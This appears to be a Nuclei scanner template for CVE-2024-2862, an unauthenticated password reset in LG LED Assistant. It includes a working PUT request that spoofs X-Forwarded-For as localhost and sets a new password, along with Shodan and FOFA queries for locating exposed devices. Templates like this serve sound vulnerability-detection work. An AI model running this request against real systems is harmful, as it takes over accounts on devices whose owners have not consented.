id: CVE-2024-2862

info:
  name: LG LED Assistant - Unauthenticated Password Reset
  author: beginee
  severity: high
  description: |
    The /api/changePw endpoint in LG LED Assistant allows unauthenticated password resets when requests are considered to come from localhost. An attacker can spoof the X-Forwarded-For header with value 127.0.0.1 to trigger the behavior and receive a success response.
  impact: |
    Attackers can reset passwords of anonymous users, potentially leading to unauthorized access and account takeover.
  remediation: |
    Apply the latest security patches or update to the newest version of LG LED Assistant.
  reference:
    - https://lgsecurity.lge.com/bulletins/idproducts#updateDetails
    - https://www.tenable.com/security/research/tra-2024-08
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2862
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-2862
    epss-score: 0.51282
    epss-percentile: 0.98793
    cwe-id: CWE-640
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"LG LED Assistant"
    fofa-query: icon_hash="195291629"
  tags: cve,cve2024,lg,password,reset,lg,vkev

variables:
  new_password: "Password@123"

http:
  - raw:
      - |
        PUT /api/changePw HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        User-Agent: test
        Content-Type: application/x-www-form-urlencoded

        newPw={{new_password}}&hostName={{hostname}}&to=to&user={{username}}&from=from

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"resCode\":\"SUCCESS\"}")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022001bac5312f8c7b0d1a35663b5483a5639534857742b1a82f7a4831b16f2f57cb02204aedb012135b14ed41cda0300b0e066fc730c0a92383e2544503a0ba0b6caee7:922c64590222798bb761d5b6d8e72950